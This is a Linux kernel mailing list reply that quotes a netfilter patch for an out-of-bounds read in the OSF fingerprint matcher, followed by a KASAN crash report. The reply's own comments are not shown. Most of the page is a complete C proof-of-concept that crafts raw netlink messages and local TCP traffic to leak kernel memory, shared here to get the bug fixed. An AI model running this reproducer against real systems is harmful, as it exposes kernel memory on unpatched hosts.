lkml.org 
[lkml]   [2023]   [Aug]   [31]   [last100]   RSS Feed
Views: [wrap][no wrap]   [headers]  [forward] 
 
Messages in this thread
/
Date
SubjectRe: [PATCH nf v2] netfilter/osf: avoid OOB read
From
On 31/08/2023 14:39, Wander Lairson Costa wrote:
> The opt_num field is controlled by user mode and is not currently
> validated inside the kernel. An attacker can take advantage of this to
> trigger an OOB read and potentially leak information.
>
> Reproducer:
>
> void install_filter_for_leak()
> {
> char buf[0x1000] = {0};
> struct iovec io = {
> .iov_base = buf,
> .iov_len = sizeof(buf)
> };
> struct msghdr msg = {0};
> msg.msg_iov = &io;
> msg.msg_iovlen = 1;
>
> int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
> setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &(int){1}, sizeof(int));
>
> memset(buf, 0, sizeof(buf));
> *(uint32_t*)(buf) = 0x14;
> *(uint16_t*)(buf+4) = 0x10;
> *(uint16_t*)(buf+6) = 1;
> *(uint32_t*)(buf+8) = 0x63072925;
> *(uint16_t*)(buf+0x12) = 0xa;
> *(uint32_t*)(buf+0x14) = 0x20;
> *(uint16_t*)(buf+0x18) = 0xa00;
> *(uint16_t*)(buf+0x1a) = 0x5;
> *(uint32_t*)(buf+0x1c) = 0x63072926;
> *(uint8_t*)(buf+0x24) = 2;
>
> *(uint16_t*)(buf+0x28) = 0xb;
> *(uint16_t*)(buf+0x2a) = 1;
> strcpy((void*)(buf+0x2c), "filter");
>
> *(uint32_t*)(buf+0x34) = 0x14;
> *(uint16_t*)(buf+0x38) = 0x11;
> *(uint16_t*)(buf+0x3a) = 1;
> *(uint32_t*)(buf+0x3c) = 0x63072927;
> *(uint16_t*)(buf+0x46) = 0xa;
> io.iov_len = 0x48;
> sendmsg(fd, &msg, 0);
>
> memset(buf, 0, sizeof(buf));
> *(uint32_t*)(buf) = 0x14;
> *(uint16_t*)(buf+4) = 0x10;
> *(uint16_t*)(buf+6) = 1;
> *(uint32_t*)(buf+8) = 0x63072925;
> *(uint16_t*)(buf+0x12) = 0xa;
> *(uint16_t*)(buf+0x14) = 0x40;
> *(uint16_t*)(buf+0x18) = 0xa03;
> *(uint16_t*)(buf+0x1a) = 0x5;
> *(uint32_t*)(buf+0x1c) = 0x63072926;
> *(uint32_t*)(buf+0x24) = 2;
>
> *(uint16_t*)(buf+0x28) = 0xb;
> *(uint16_t*)(buf+0x2a) = 1;
> strcpy((void*)(buf+0x2c), "filter");
> *(uint16_t*)(buf+0x34) = 0xa;
> *(uint16_t*)(buf+0x36) = 3;
> strcpy((void*)(buf+0x38), "input");
> *(uint16_t*)(buf+0x40) = 0x14;
> *(uint16_t*)(buf+0x42) = 0x8004;
> *(uint16_t*)(buf+0x44) = 8;
> *(uint16_t*)(buf+0x46) = 1;
> *(uint32_t*)(buf+0x48) = 0x1000000;
> *(uint16_t*)(buf+0x4c) = 8;
> *(uint16_t*)(buf+0x4e) = 2;
> *(uint32_t*)(buf+0x50) = 0;
>
> *(uint32_t*)(buf+0x54) = 0x14;
> *(uint16_t*)(buf+0x58) = 0x11;
> *(uint16_t*)(buf+0x5a) = 1;
> *(uint32_t*)(buf+0x5c) = 0x63072f50;
> *(uint16_t*)(buf+0x66) = 0xa;
> io.iov_len = 0x68;
> sendmsg(fd, &msg, 0);
>
> memset(buf, 0, sizeof(buf));
> *(uint32_t*)(buf) = 0x14;
> *(uint16_t*)(buf+4) = 0x10;
> *(uint16_t*)(buf+6) = 1;
> *(uint32_t*)(buf+8) = 0x63072925;
> *(uint16_t*)(buf+0x12) = 0xa;
> *(uint16_t*)(buf+0x14) = 0x40;
> *(uint16_t*)(buf+0x18) = 0xa03;
> *(uint16_t*)(buf+0x1a) = 5;
> *(uint32_t*)(buf+0x1c) = 0x63072926;
> *(uint32_t*)(buf+0x24) = 2;
> *(uint16_t*)(buf+0x28) = 0xb;
> *(uint16_t*)(buf+0x2a) = 1;
> strcpy((void*)(buf+0x2c), "filter");
> *(uint16_t*)(buf+0x34) = 0xb;
> *(uint16_t*)(buf+0x36) = 3;
> strcpy((void*)(buf+0x38), "output");
> *(uint16_t*)(buf+0x40) = 0x14;
> *(uint16_t*)(buf+0x42) = 0x8004;
> *(uint16_t*)(buf+0x44) = 8;
> *(uint16_t*)(buf+0x46) = 1;
> *(uint32_t*)(buf+0x48) = 0x3000000;
> *(uint16_t*)(buf+0x4c) = 8;
> *(uint16_t*)(buf+0x4e) = 2;
> *(uint32_t*)(buf+0x50) = 0;
>
> *(uint32_t*)(buf+0x54) = 0x14;
> *(uint16_t*)(buf+0x58) = 0x11;
> *(uint16_t*)(buf+0x5a) = 1;
> *(uint32_t*)(buf+0x5c) = 0x63072f50;
> *(uint16_t*)(buf+0x66) = 0xa;
> io.iov_len = 0x68;
> sendmsg(fd, &msg, 0);
>
> memset(buf, 0, sizeof(buf));
> *(uint32_t*)(buf) = 0x14;
> *(uint16_t*)(buf+4) = 0x10;
> *(uint16_t*)(buf+6) = 1;
> *(uint32_t*)(buf+8) = 0x63072925;
> *(uint16_t*)(buf+0x12) = 0xa;
> *(uint16_t*)(buf+0x14) = 0x2c;
> *(uint16_t*)(buf+0x18) = 0xa03;
> *(uint16_t*)(buf+0x1a) = 0x5;
> *(uint32_t*)(buf+0x1c) = 0x63072926;
> *(uint32_t*)(buf+0x24) = 2;
> *(uint16_t*)(buf+0x28) = 0xb;
> *(uint16_t*)(buf+0x2a) = 1;
> strcpy((void*)(buf+0x2c), "filter");
> *(uint16_t*)(buf+0x34) = 0x9;
> *(uint16_t*)(buf+0x36) = 3;
> strcpy((void*)(buf+0x38), "leak");
>
> *(uint32_t*)(buf+0x40) = 0x14;
> *(uint16_t*)(buf+0x44) = 0x11;
> *(uint16_t*)(buf+0x46) = 1;
> *(uint32_t*)(buf+0x48) = 0x63072f50;
> *(uint16_t*)(buf+0x52) = 0xa;
> io.iov_len = 0x54;
> sendmsg(fd, &msg, 0);
>
> char buf5[] = {
> 0x14, 0x00, 0x00, 0x00, 0x10, 0x00, 0x01, 0x00,
> 0x74, 0x41, 0x07, 0x63, 0x00, 0x00, 0x00, 0x00,
> 0x00, 0x00, 0x0a, 0x00, 0x1c, 0x01, 0x00, 0x00,
> 0x06, 0x0a, 0x05, 0x0c, 0x75, 0x41, 0x07, 0x63,
> 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
> 0x0b, 0x00, 0x01, 0x00, 0x66, 0x69, 0x6c, 0x74,
> 0x65, 0x72, 0x00, 0x00, 0x0a, 0x00, 0x02, 0x00,
> 0x69, 0x6e, 0x70, 0x75, 0x74, 0x00, 0x00, 0x00,
> 0xf0, 0x00, 0x04, 0x80, 0x24, 0x00, 0x01, 0x80,
> 0x09, 0x00, 0x01, 0x00, 0x6d, 0x65, 0x74, 0x61,
> 0x00, 0x50, 0x02, 0x00, 0x14, 0x00, 0x02, 0x80,
> 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x10,
> 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01,
> 0x2c, 0x00, 0x01, 0x80, 0x08, 0x00, 0x01, 0x00,
> 0x63, 0x6d, 0x70, 0x00, 0x20, 0x00, 0x02, 0x80,
> 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01,
> 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
> 0x0c, 0x00, 0x03, 0x80, 0x05, 0x00, 0x01, 0x00,
> 0x06, 0xb0, 0x1b, 0x00, 0x34, 0x00, 0x01, 0x80,
> 0x0c, 0x00, 0x01, 0x00, 0x70, 0x61, 0x79, 0x6c,
> 0x6f, 0x61, 0x64, 0x00, 0x24, 0x00, 0x02, 0x80,
> 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01,
> 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x02,
> 0x08, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x0d,
> 0x08, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x01,
> 0x2c, 0x00, 0x01, 0x80, 0x08, 0x00, 0x01, 0x00,
> 0x63, 0x6d, 0x70, 0x00, 0x20, 0x00, 0x02, 0x80,
> 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01,
> 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
> 0x0c, 0x00, 0x03, 0x80, 0x05, 0x00, 0x01, 0x00,
> 0x18, 0xd3, 0x01, 0x00, 0x3c, 0x00, 0x01, 0x80,
> 0x0e, 0x00, 0x01, 0x00, 0x69, 0x6d, 0x6d, 0x65,
> 0x64, 0x69, 0x61, 0x74, 0x65, 0x00, 0x00, 0x00,
> 0x28, 0x00, 0x02, 0x80, 0x08, 0x00, 0x01, 0x00,
> 0x00, 0x00, 0x00, 0x00, 0x1c, 0x00, 0x02, 0x80,
> 0x18, 0x00, 0x02, 0x80, 0x08, 0x00, 0x01, 0x00,
> 0xff, 0xff, 0xff, 0xfd, 0x09, 0x00, 0x02, 0x00,
> 0x6c, 0x65, 0x61, 0x6b, 0x00, 0x00, 0x00, 0x00,
> 0x14, 0x00, 0x00, 0x00, 0x11, 0x00, 0x01, 0x00,
> 0x76, 0x41, 0x07, 0x63, 0x00, 0x00, 0x00, 0x00,
> 0x00, 0x00, 0x0a, 0x00};
> memset(buf, 0, sizeof(buf));
> memcpy(buf, buf5, sizeof(buf5));
> io.iov_len = 0x144;
> sendmsg(fd, &msg, 0);
>
> char buf6[] = {
> 0x14, 0x00, 0x00, 0x00, 0x10, 0x00, 0x01, 0x00,
> 0xd9, 0x4e, 0x07, 0x63, 0x00, 0x00, 0x00, 0x00,
> 0x00, 0x00, 0x0a, 0x00, 0x54, 0x01, 0x00, 0x00,
> 0x06, 0x0a, 0x05, 0x0c, 0xda, 0x4e, 0x07, 0x63,
> 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
> 0x0b, 0x00, 0x01, 0x00, 0x66, 0x69, 0x6c, 0x74,
> 0x65, 0x72, 0x00, 0x00, 0x09, 0x00, 0x02, 0x00,
> 0x6c, 0x65, 0x61, 0x6b, 0x00, 0x00, 0x00, 0x00,
> 0x28, 0x01, 0x04, 0x80, 0x34, 0x00, 0x01, 0x80,
> 0x0c, 0x00, 0x01, 0x00, 0x70, 0x61, 0x79, 0x6c,
> 0x6f, 0x61, 0x64, 0x00, 0x24, 0x00, 0x02, 0x80,
> 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x02,
> 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x02,
> 0x08, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x03,
> 0x08, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x01,
> 0x34, 0x00, 0x01, 0x80, 0x0c, 0x00, 0x01, 0x00,
> 0x70, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x00,
> 0x24, 0x00, 0x02, 0x80, 0x08, 0x00, 0x05, 0x00,
> 0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x02, 0x00,
> 0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x03, 0x00,
> 0x00, 0x00, 0x00, 0x0d, 0x08, 0x00, 0x04, 0x00,
> 0x00, 0x00, 0x00, 0x01, 0x34, 0x00, 0x01, 0x80,
> 0x0c, 0x00, 0x01, 0x00, 0x70, 0x61, 0x79, 0x6c,
> 0x6f, 0x61, 0x64, 0x00, 0x24, 0x00, 0x02, 0x80,
> 0x08, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x02,
> 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x01,
> 0x08, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x08,
> 0x08, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x01,
> 0x2c, 0x00, 0x01, 0x80, 0x08, 0x00, 0x01, 0x00,
> 0x63, 0x6d, 0x70, 0x00, 0x20, 0x00, 0x02, 0x80,
> 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x02,
> 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x01,
> 0x0c, 0x00, 0x03, 0x80, 0x05, 0x00, 0x01, 0x00,
> 0x02, 0x00, 0x02, 0x80, 0x2c, 0x00, 0x01, 0x80,
> 0x08, 0x00, 0x01, 0x00, 0x63, 0x6d, 0x70, 0x00,
> 0x20, 0x00, 0x02, 0x80, 0x08, 0x00, 0x01, 0x00,
> 0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x02, 0x00,
> 0x00, 0x00, 0x00, 0x01, 0x0c, 0x00, 0x03, 0x80,
> 0x05, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
> 0x30, 0x00, 0x01, 0x80, 0x0e, 0x00, 0x01, 0x00,
> 0x69, 0x6d, 0x6d, 0x65, 0x64, 0x69, 0x61, 0x74,
> 0x65, 0x00, 0x02, 0x00, 0x1c, 0x00, 0x02, 0x80,
> 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
> 0x10, 0x00, 0x02, 0x80, 0x0c, 0x00, 0x02, 0x80,
> 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
> 0x14, 0x00, 0x00, 0x00, 0x11, 0x00, 0x01, 0x00,
> 0xdb, 0x4e, 0x07, 0x63, 0x00, 0x00, 0x00, 0x00,
> 0x00, 0x00, 0x0a, 0x00};
> memset(buf, 0, sizeof(buf));
> memcpy(buf, buf6, sizeof(buf6));
> io.iov_len = 0x17c;
> sendmsg(fd, &msg, 0);
>
> char buf7[] = {
> 0x14, 0x00, 0x00, 0x00, 0x10, 0x00, 0x01, 0x00,
> 0x7c, 0x64, 0x07, 0x63, 0x00, 0x00, 0x00, 0x00,
> 0x00, 0x00, 0x0a, 0x00, 0x50, 0x00, 0x00, 0x00,
> 0x06, 0x0a, 0x05, 0x0c, 0x7d, 0x64, 0x07, 0x63,
> 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
> 0x0b, 0x00, 0x01, 0x00, 0x66, 0x69, 0x6c, 0x74,
> 0x65, 0x72, 0x00, 0x00, 0x09, 0x00, 0x02, 0x00,
> 0x6c, 0x65, 0x61, 0x6b, 0x00, 0x00, 0x00, 0x00,
> 0x24, 0x00, 0x04, 0x80, 0x20, 0x00, 0x01, 0x80,
> 0x08, 0x00, 0x01, 0x00, 0x6f, 0x73, 0x66, 0x00,
> 0x14, 0x00, 0x02, 0x80, 0x08, 0x00, 0x01, 0x00,
> 0x00, 0x00, 0x00, 0x04, 0x08, 0x00, 0x03, 0x00,
> 0x00, 0x00, 0x00, 0x01, 0x14, 0x00, 0x00, 0x00,
> 0x11, 0x00, 0x01, 0x00, 0x7e, 0x64, 0x07, 0x63,
> 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00,
> };
> memset(buf, 0, sizeof(buf));
> memcpy(buf, buf7, sizeof(buf7));
> io.iov_len = 0x78;
> sendmsg(fd, &msg, 0);
>
> char buf8[] = {
> 0x14, 0x00, 0x00, 0x00, 0x10, 0x00, 0x01, 0x00,
> 0xc9, 0x64, 0x07, 0x63, 0x00, 0x00, 0x00, 0x00,
> 0x00, 0x00, 0x0a, 0x00, 0x28, 0x01, 0x00, 0x00,
> 0x06, 0x0a, 0x05, 0x0c, 0xca, 0x64, 0x07, 0x63,
> 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
> 0x0b, 0x00, 0x01, 0x00, 0x66, 0x69, 0x6c, 0x74,
> 0x65, 0x72, 0x00, 0x00, 0x09, 0x00, 0x02, 0x00,
> 0x6c, 0x65, 0x61, 0x6b, 0x00, 0x00, 0x00, 0x00,
> 0xfc, 0x00, 0x04, 0x80, 0x34, 0x00, 0x01, 0x80,
> 0x0c, 0x00, 0x01, 0x00, 0x70, 0x61, 0x79, 0x6c,
> 0x6f, 0x61, 0x64, 0x00, 0x24, 0x00, 0x02, 0x80,
> 0x08, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x04,
> 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x02,
> 0x08, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x20,
> 0x08, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x10,
> 0x34, 0x00, 0x01, 0x80, 0x0c, 0x00, 0x01, 0x00,
> 0x70, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x00,
> 0x24, 0x00, 0x02, 0x80, 0x08, 0x00, 0x01, 0x00,
> 0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x02, 0x00,
> 0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x03, 0x00,
> 0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x04, 0x00,
> 0x00, 0x00, 0x00, 0x01, 0x34, 0x00, 0x01, 0x80,
> 0x0c, 0x00, 0x01, 0x00, 0x70, 0x61, 0x79, 0x6c,
> 0x6f, 0x61, 0x64, 0x00, 0x24, 0x00, 0x02, 0x80,
> 0x08, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x02,
> 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x02,
> 0x08, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x0d,
> 0x08, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x01,
> 0x2c, 0x00, 0x01, 0x80, 0x08, 0x00, 0x01, 0x00,
> 0x63, 0x6d, 0x70, 0x00, 0x20, 0x00, 0x02, 0x80,
> 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x02,
> 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x01,
> 0x0c, 0x00, 0x03, 0x80, 0x05, 0x00, 0x01, 0x00,
> 0x18, 0x00, 0x02, 0x80, 0x30, 0x00, 0x01, 0x80,
> 0x0e, 0x00, 0x01, 0x00, 0x69, 0x6d, 0x6d, 0x65,
> 0x64, 0x69, 0x61, 0x74, 0x65, 0x00, 0x01, 0x00,
> 0x1c, 0x00, 0x02, 0x80, 0x08, 0x00, 0x01, 0x00,
> 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x02, 0x80,
> 0x0c, 0x00, 0x02, 0x80, 0x08, 0x00, 0x01, 0x00,
> 0x00, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00,
> 0x11, 0x00, 0x01, 0x00, 0xcb, 0x64, 0x07, 0x63,
> 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00,
> };
> memset(buf, 0, sizeof(buf));
> memcpy(buf, buf8, sizeof(buf8));
> io.iov_len = 0x150;
> sendmsg(fd, &msg, 0);
> }
>
> void *tcp_recv(void * data){
>
> int sockfd, connfd;
> struct sockaddr_in servaddr;
> int len, n;
>
> if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) {
> perror("socket creation failed");
> exit(EXIT_FAILURE);
> }
>
> memset(&servaddr, 0, sizeof(servaddr));
>
> servaddr.sin_family = AF_INET;
> servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");;
> servaddr.sin_port = htons(6146);
>
> if ( bind(sockfd, (const struct sockaddr *)&servaddr,
> sizeof(servaddr)) < 0 ){
> perror("bind failed");
> exit(EXIT_FAILURE);
> }
>
> int yes = 1;
> if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes,
> sizeof(int)) == -1) {
> perror("setsockopt failed");
> exit(EXIT_FAILURE);
> }
>
> if ((listen(sockfd, 1)) < 0) {
> perror("listen failed");
> exit(EXIT_FAILURE);
> }
>
> connfd = accept(sockfd, NULL, 0);
> if (connfd < 0) {
> perror("accept failed");
> exit(EXIT_FAILURE);
> }
> len = 0;
>
> while(1)
> {
> if(len >= 128)
> break;
> n = read(connfd, data + len, 128-len);
> len += n;
> }
>
> close(sockfd);
> close(connfd);
>
> return NULL;
> }
>
> int tcp_connect()
> {
> int sockfd;
> struct sockaddr_in servaddr;
> if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) {
> perror("socket creation failed");
> exit(EXIT_FAILURE);
> }
> memset(&servaddr, 0, sizeof(servaddr));
>
> servaddr.sin_family = AF_INET;
> servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");;
> servaddr.sin_port = htons(6146);
>
> if (connect(sockfd, (const struct sockaddr *)&servaddr,
> sizeof(servaddr)) != 0) {
> perror("connect failed");
> exit(EXIT_FAILURE);
> }
> return sockfd;
> }
>
> int add_osf()
> {
> int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
> if (fd == -1) {
> errx(EXIT_FAILURE, "socket failed");
> }
>
> char iobuf1[0x268] = {0};
> *(uint32_t*)(iobuf1) = 0x268;
> *(uint8_t*)(iobuf1+4) = 0;
> *(uint8_t*)(iobuf1+5) = 0x5;
> *(uint16_t*)(iobuf1+6) = 0x405;
> *(uint32_t*)(iobuf1+8) = 0x63064c36;
> *(uint32_t*)(iobuf1+0x10) = 0;
>
> *(uint16_t*)(iobuf1+0x14) = 0x254;
> *(uint16_t*)(iobuf1+0x16) = 1;
> *(uint32_t*)(iobuf1+0x18) = 1;
> *(uint32_t*)(iobuf1+0x1c) = 4;
> *(uint8_t*)(iobuf1+0x20) = 2;
> *(uint8_t*)(iobuf1+0x21) = 0x1;
> *(uint16_t*)(iobuf1+0x22) = 0xb4;
> *(uint16_t*)(iobuf1+0x24) = 0;
> *(uint16_t*)(iobuf1+0x26) = 0xff;
> strcpy((void*)(iobuf1+0x28), "Windows");
> strcpy((void*)(iobuf1+0x48), "98");
> *(uint16_t*)(iobuf1+0x88) = 2;
> *(uint16_t*)(iobuf1+0x8a) = 4;
> *(uint16_t*)(iobuf1+0x94) = 1;
> *(uint16_t*)(iobuf1+0x96) = 1;
> *(uint16_t*)(iobuf1+0xa0) = 1;
> *(uint16_t*)(iobuf1+0xa2) = 1;
> *(uint16_t*)(iobuf1+0xac) = 4;
> *(uint16_t*)(iobuf1+0xae) = 2;
> struct iovec io1 = {
> .iov_base = iobuf1,
> .iov_len = sizeof(iobuf1)
> };
> struct msghdr msg1 = {0};
> msg1.msg_iov = &io1;
> msg1.msg_iovlen = 1;
> sendmsg(fd, &msg1, 0);
>
> return 0;
> }
>
> int main(int argc, char *argv[])
> {
> add_osf();
>
> int tid, status;
> pthread_t p_thread;
> int sockfd;
> char buf[128] = {0};
>
> printf("[+] Create tcp communication\n");
> tid = pthread_create(&p_thread, NULL, tcp_recv, (void *)buf);
> printf(" [-] wait 1sec for server\n");
> usleep(10000);
> printf(" [-] connect to server\n");
> sockfd = tcp_connect();
>
> printf("[+] Install Filter for leak\n");
> install_filter_for_leak();
>
> printf("[+] Send packet and read data\n");
> write(sockfd, buf, 128);
> pthread_join(p_thread, (void **)&status);
>
> printf("[+] Remove filter\n");
> int fd1 = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
> char iobuf1[0x48] = {0};
> *(uint32_t*)(iobuf1) = 0x14;
> *(uint16_t*)(iobuf1+4) = 0x10;
> *(uint16_t*)(iobuf1+6) = 1;
> *(uint32_t*)(iobuf1+8) = 0x63072925;
> *(uint16_t*)(iobuf1+0x12) = 0xa;
> *(uint16_t*)(iobuf1+0x14) = 0x20;
> *(uint16_t*)(iobuf1+0x18) = 0xa02;
> *(uint16_t*)(iobuf1+0x1a) = 0x5;
> *(uint32_t*)(iobuf1+0x1c) = 0x63072926;
> *(uint32_t*)(iobuf1+0x24) = 2;
> *(uint16_t*)(iobuf1+0x28) = 0xb;
> *(uint16_t*)(iobuf1+0x2a) = 1;
> strcpy((void*)(iobuf1+0x2c), "filter");
> *(uint32_t*)(iobuf1+0x34) = 0x14;
> *(uint16_t*)(iobuf1+0x38) = 0x11;
> *(uint16_t*)(iobuf1+0x3a) = 1;
> *(uint32_t*)(iobuf1+0x3c) = 0x63072927;
> *(uint16_t*)(iobuf1+0x46) = 0xa;
> struct iovec io1 = {
> .iov_base = iobuf1,
> .iov_len = sizeof(iobuf1)
> };
> struct msghdr msg1 = {0};
> msg1.msg_iov = &io1;
> msg1.msg_iovlen = 1;
> sendmsg(fd1, &msg1, 0);
>
> return 0;
> }
>
> KASAN report:
>
> ==================================================================
> BUG: KASAN: slab-out-of-bounds in nf_osf_match_one+0xbed/0xd10 linux-6.0-rc4/net/netfilter/nfnetlink_osf.c:88
> Read of size 2 at addr ffff88804bc64272 by task poc/6431
>
> CPU: 1 PID: 6431 Comm: poc Not tainted 6.0.0-rc4 #1
> Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org 04/01/2014
> Call Trace:
> <IRQ>
> __dump_stack linux-6.0-rc4/lib/dump_stack.c:88
> dump_stack_lvl+0xcd/0x134 linux-6.0-rc4/lib/dump_stack.c:106
> print_address_description linux-6.0-rc4/mm/kasan/report.c:317
> print_report.cold+0x2ba/0x6e9 linux-6.0-rc4/mm/kasan/report.c:433
> kasan_report+0xb1/0x1e0 linux-6.0-rc4/mm/kasan/report.c:495
> nf_osf_match_one+0xbed/0xd10 linux-6.0-rc4/net/netfilter/nfnetlink_osf.c:88
> nf_osf_find+0x186/0x2f0 linux-6.0-rc4/net/netfilter/nfnetlink_osf.c:281
> nft_osf_eval+0x37f/0x590 linux-6.0-rc4/net/netfilter/nft_osf.c:47
> expr_call_ops_eval linux-6.0-rc4/net/netfilter/nf_tables_core.c:214
> nft_do_chain+0x2b0/0x1490 linux-6.0-rc4/net/netfilter/nf_tables_core.c:264
> nft_do_chain_ipv4+0x17c/0x1f0 linux-6.0-rc4/net/netfilter/nft_chain_filter.c:23
> nf_hook_entry_hookfn linux-6.0-rc4/./include/linux/netfilter.h:142
> nf_hook_slow+0xc5/0x1f0 linux-6.0-rc4/net/netfilter/core.c:620
> nf_hook linux-6.0-rc4/./include/linux/netfilter.h:262
> NF_HOOK linux-6.0-rc4/./include/linux/netfilter.h:305
> ip_local_deliver+0x2f5/0x4e0 linux-6.0-rc4/net/ipv4/ip_input.c:254
> dst_input linux-6.0-rc4/./include/net/dst.h:461
> ip_rcv_finish+0x1cb/0x2f0 linux-6.0-rc4/net/ipv4/ip_input.c:444
> NF_HOOK linux-6.0-rc4/./include/linux/netfilter.h:307
> NF_HOOK linux-6.0-rc4/./include/linux/netfilter.h:301
> ip_rcv+0xc4/0x3b0 linux-6.0-rc4/net/ipv4/ip_input.c:564
> __netif_receive_skb_one_core+0x114/0x180 linux-6.0-rc4/net/core/dev.c:5485
> __netif_receive_skb+0x1f/0x1c0 linux-6.0-rc4/net/core/dev.c:5599
> process_backlog+0x13a/0x690 linux-6.0-rc4/net/core/dev.c:5927
> __napi_poll.constprop.0+0xaf/0x430 linux-6.0-rc4/net/core/dev.c:6511
> napi_poll linux-6.0-rc4/net/core/dev.c:6578
> net_rx_action+0x8d2/0xc60 linux-6.0-rc4/net/core/dev.c:6689
> __do_softirq+0x1d3/0x9b3 linux-6.0-rc4/kernel/softirq.c:571
> do_softirq linux-6.0-rc4/kernel/softirq.c:472
> do_softirq+0x101/0x140 linux-6.0-rc4/kernel/softirq.c:459
> </IRQ>
> <TASK>
> __local_bh_enable_ip+0xf4/0x110 linux-6.0-rc4/kernel/softirq.c:396
> local_bh_enable linux-6.0-rc4/./include/linux/bottom_half.h:33
> rcu_read_unlock_bh linux-6.0-rc4/./include/linux/rcupdate.h:776
> ip_finish_output2+0x7d6/0x21a0 linux-6.0-rc4/net/ipv4/ip_output.c:229
> __ip_finish_output linux-6.0-rc4/net/ipv4/ip_output.c:306
> __ip_finish_output+0x396/0x650 linux-6.0-rc4/net/ipv4/ip_output.c:288
> ip_finish_output+0x2d/0x280 linux-6.0-rc4/net/ipv4/ip_output.c:316
> NF_HOOK_COND linux-6.0-rc4/./include/linux/netfilter.h:296
> ip_output+0x20a/0x620 linux-6.0-rc4/net/ipv4/ip_output.c:430
> dst_output linux-6.0-rc4/./include/net/dst.h:451
> ip_local_out linux-6.0-rc4/net/ipv4/ip_output.c:126
> __ip_queue_xmit+0x8de/0x1bd0 linux-6.0-rc4/net/ipv4/ip_output.c:532
> __tcp_transmit_skb+0x195b/0x3820 linux-6.0-rc4/net/ipv4/tcp_output.c:1402
> tcp_transmit_skb linux-6.0-rc4/net/ipv4/tcp_output.c:1420
> tcp_write_xmit+0xd9b/0x5f70 linux-6.0-rc4/net/ipv4/tcp_output.c:2691
> __tcp_push_pending_frames+0xaa/0x380 linux-6.0-rc4/net/ipv4/tcp_output.c:2875
> tcp_push+0x49b/0x720 linux-6.0-rc4/net/ipv4/tcp.c:728
> tcp_sendmsg_locked+0x2480/0x2fc0 linux-6.0-rc4/net/ipv4/tcp.c:1455
> tcp_sendmsg+0x2b/0x40 linux-6.0-rc4/net/ipv4/tcp.c:1483
> inet_sendmsg+0x99/0xe0 linux-6.0-rc4/net/ipv4/af_inet.c:819
> sock_sendmsg_nosec linux-6.0-rc4/net/socket.c:714
> sock_sendmsg+0xcf/0x120 linux-6.0-rc4/net/socket.c:734
> sock_write_iter+0x291/0x3d0 linux-6.0-rc4/net/socket.c:1108
> call_write_iter linux-6.0-rc4/./include/linux/fs.h:2187
> new_sync_write linux-6.0-rc4/fs/read_write.c:491
> vfs_write+0x9ef/0xde0 linux-6.0-rc4/fs/read_write.c:578
> ksys_write+0x1e8/0x250 linux-6.0-rc4/fs/read_write.c:631
